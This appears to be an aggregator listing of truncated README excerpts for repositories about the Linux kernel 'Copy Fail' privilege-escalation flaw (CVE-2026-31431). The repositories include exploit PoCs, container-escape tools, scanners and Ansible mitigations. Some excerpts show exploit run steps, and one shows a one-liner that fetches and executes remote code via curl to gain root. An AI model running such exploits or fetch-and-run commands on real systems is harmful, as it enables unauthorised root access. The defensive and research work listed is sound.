cve-2026-31431-copy-fail

CVE-2026-31431 "Copy Fail" Scanner & Patch Helper Copy Fail is an automated security scanner and patch helper for detecting and remediating the CVE-2026-31431 vulnerability Linux Kernel algifaead Local Privilege Escalation across your Linux infrastructure. Table of Contents Description Key Featur...

play-go-copy-fail-cve-2026-31431

Play Go Copy Fail CVE-2026-31431 Purpose Learn linux syscall low-level Port python and c into golang Craft own payload then exploit as newbie Auto upgrade pty manually Inspiration tgies/copy-fail-c painoob/Copy-Fail-Exploit-CVE-2026-31431 Resource Linux Source Crypto...

CVE-2026-31431-Copy-Fail-Container-Escape

CVE-2026-31431-Copy-Fail-Container-Escape Demo https://github.com/user-attachments/assets/2cb0cb67-789a-4461-a0b8-1fe878d9426e Prerequisite Container vulnerable to CVE-2026-31431 Container healthcheck configured and healthcheck CMD known Obtained root access inside the container if not, you can...

ansible-role-cve-2026-31431

ansible-role-cve-2026-31431 Ansible role to apply and later remove the modprobe.d mitigation for CVE-2026-31431 "Copy Fail" in the Linux kernel's AFALG / algifaead subsystem. Tested on Debian. Pull requests for other distributions, edge cases, or improvements are very welcome. What it does The ro...

mitigate-copy-fail.yml

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copyfail-CVE-2026-31431

copyfail-CVE-2026-31431 Extended version of the CVE-2026-31431 "Copy Fail" Linux Local Privilege Escalation PoC. Credits Original discovery & exploit: Theori / Xint — copy.fail Original repo: theori-io/copy-fail-CVE-2026-31431 Extended by: Trex1e What's different in this version Automatically...

cve-2026-31431-ansible

CVE-2026-31431 "Copy Fail" — Ansible Mitigation Recipe Detect and apply the kernel-cmdline mitigation for CVE-2026-31431 "Copy Fail" across a Debian / Ubuntu / RHEL-family fleet using Ansible. The CVE is a local privilege-escalation flaw in the Linux kernel's algifaead AFALG interface. Any...

Copy-Fail-Exploit-CVE-2026-31431

Copy-Fail-Exploit-CVE-2026-31431 unning the Python Exploit 1. Execute directly root@kitploit: python3 copyfailexp.py Compiling the C Version 1. Compile root@kitploit: gcc copyfailexp.c -o copyfail 2. Make executable root@kitploit: chmod +x copyfail 3. Run exploit root@kitploit: ./copyfail...

Copy-Fail---CVE-2026-31431

Copy-Fail---CVE-2026-31431 CVE-2026-31431 "Copy Fail" - Analysis and defensive research for the Linux kernel AFALG privilege escalation vulnerability affecting all major distributions since 2017. 100% reliable LPE via authencesn logic flaw Files include a binary , that automates the whole process...

Copy-fail-CVE-2026-31431-Exploit-in-C

Copy-fail-CVE-2026-31431-Exploit-in-C Discovery and original disclosure of CVE-2026-31431: Theori / Xint. Public writeup: https://copy.fail/. Overview This program targets the Linux kernel’s AFALG AEAD path and attempts to trigger the “Copy Fail” page-cache corruption behavior described in public...

CVE-2026-31431-Copy-Fail

CVE-2026-31431-Copy-Fail xpl0ited by infrar3d This repository contains a proof‑of‑concept exploit for CVE-2026-31431 Copy Fail. CVE-2026-31431, known as "Copy Fail", is a high-severity Local Privilege Escalation LPE flaw in the Linux kernel that has been present for nearly a decade. It allows an...

copy-fail-CVE-2026-31431-php

CVE-2026-31431 Copy Fail PHP PoC root@kitploit: www-data@jumpbox:/home$ id uid=33www-data gid=33www-data groups=33www-data www-data@jumpbox:/home$ uname -a Linux testbox 5.15.0-136-generic 147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x8664 x8664 x8664 GNU/Linux www-data@jumpbox:/home$ php...

cve-2026-31431-check

cve-2026-31431-check cve-2026-31431-check is a small Bash triage script for checking local Linux exposure and mitigation indicators for CVE-2026-31431, also known as "Copy Fail." The script targets Debian, Ubuntu, and Debian-family derivatives including Linux Mint, Pop!OS, and similar...

Copy-Fail-CVE-2026-31431-modernized

Copy-Fail-CVE-2026-31431-modernized A modernized version of Copy Fail PE How to use it: Just clone the repository and run the Poc.py : Educational purpose This proof of concept is only for educational purpose Inspired by : Main Exploit by theori-io...

copy-fail-CVE-2026-31431-Python-Golfing

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copy-fail

Copy Fail PoC CVE=2026-31431 の概念実証 これらのスクリプトは、任意の一般ユーザーを root に昇格させます。 ほとんどの Linux ディストリビューションと CPU で動作します。 技術的な解説は https://copy.fail を参照してください。...

copy-fail-CVE-2026-31431

reference: https://xint.io/blog/copy-fail-linux-distributionsthe-demo-5...

copyFail-CVE-2026-31431-workaround-bash

copyFail-CVE-2026-31431-workaround-bash 사용 예시: root@kitploit: user@host:$ python3 -c "$curl -s https://copy.fail/exp -o-" id uid=0root gid=1000user ctrl+d user@host:$ git clone https://github.com/someCorp/copyFail-CVE-2026-31431-workaround-bash user@host:$ sudo bash...

cve-2026-31431

CVE-2026-31431 Copy Fail Test This repository contains a workflow file for GitHub Actions to test whether the action runner is affected by CVE-2026-31431. You can do the test by yourself, just create a repository by this template and trigger the test.yml workflow manually remember to change the o...

ExploiteameEsta

ExploiteameEsta CVE-2021-30937 vulnerability checking app What is this? This project is an application for iOS devices dedicated to iOS 15.0-15.1.1. You will be able to test whether the vulnerability mentioned above is compatible with your device or not. You will be shown several alerts and pop-u...